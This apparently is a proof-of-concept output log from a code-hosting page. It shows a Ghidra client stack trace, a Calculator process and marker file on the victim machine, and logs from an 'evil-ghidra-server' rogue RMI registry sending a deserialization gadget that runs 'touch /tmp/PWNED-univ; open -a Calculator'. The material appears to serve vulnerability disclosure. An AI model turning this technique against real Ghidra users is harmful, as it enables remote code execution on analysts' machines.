java.lang.ClassCastException: class org.python.core.PySingleton cannot be cast to class java.lang.Integer
|
||||
at java.rmi/sun.rmi.registry.RegistryImpl_Stub.list(RegistryImpl_Stub.java:95)
|
||||
at ghidra.framework.client.ServerConnectTask.checkServerBindNames(ServerConnectTask.java:430)
|
||||
at ghidra.framework.client.ServerConnectTask.getGhidraServerHandle(ServerConnectTask.java:173)
|
||||
at ghidra.framework.client.ServerConnectTask.getRepositoryServerHandle(ServerConnectTask.java:243)
|
||||
at ghidra.framework.client.ServerConnectTask.run(ServerConnectTask.java:80)
|
||||
at ghidra.framework.project.DefaultProject.openProjectView(DefaultProject.java:259)
|
||||
at ghidra.framework.project.DefaultProject.addProjectView(DefaultProject.java:297)
|
||||
at ghidra.framework.project.DefaultProject.restore(DefaultProject.java:493)
|
||||
at ghidra.framework.project.DefaultProjectManager.openProject(DefaultProjectManager.java:134)
|
||||
|
||||
|
||||
---------------------------------------------------------------
|
||||
step 4 · victim: Calculator.app is running as the victim user
|
||||
---------------------------------------------------------------
|
||||
|
||||
$ ps -A | grep -i '[C]alculator'
|
||||
15493 ?? 0:00.39 /System/Applications/Calculator.app/Contents/MacOS/Calculator
|
||||
|
||||
$ ls -la /tmp/PWNED-univ
|
||||
-rw-r----- 1 calif wheel 0 16 Apr 15:24 /tmp/PWNED-univ
|
||||
|
||||
$ docker logs evil-ghidra-server
|
||||
[evil] command: touch /tmp/PWNED-univ; open -a Calculator
|
||||
[evil] evil registry listening on :13100 (SSL JRMP)
|
||||
[evil] ssl probe listener on :13101
|
||||
[evil] jrmp connect from /192.168.65.1:50455
|
||||
[evil] magic=0x4a524d49 ver=2 proto=0x4b
|
||||
[evil] sending gadget as ReturnData
|
||||
[evil] payload sent
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
[evil] command: touch /tmp/PWNED-univ; open -a Calculator
|
||||
[evil] evil registry listening on :13100 (SSL JRMP)
|
||||
[evil] ssl probe listener on :13101
|
||||
[evil] jrmp connect from /192.168.65.1:50455
|
||||
[evil] magic=0x4a524d49 ver=2 proto=0x4b
|
||||
[evil] sending gadget as ReturnData
|
||||
Apr 16, 2026 7:24:00 AM org.python.core.PrePy maybeWrite
|
||||
WARNING: init: Bootstrap types weren't encountered in bootstrapping: [class org.python.core.PyType]
|
||||
This may be caused by compiled core classes preceding their exposed equivalents on the class path.
|
||||
[evil] payload sent
|
||||
[evil] jrmp connect from /192.168.65.1:17399
|
||||
[evil] magic=0x4a524d49 ver=2 proto=0x4b
|
||||
[evil] sending gadget as ReturnData
|
||||
[evil] payload sent
|
||||
Reference in New Issue
Block a user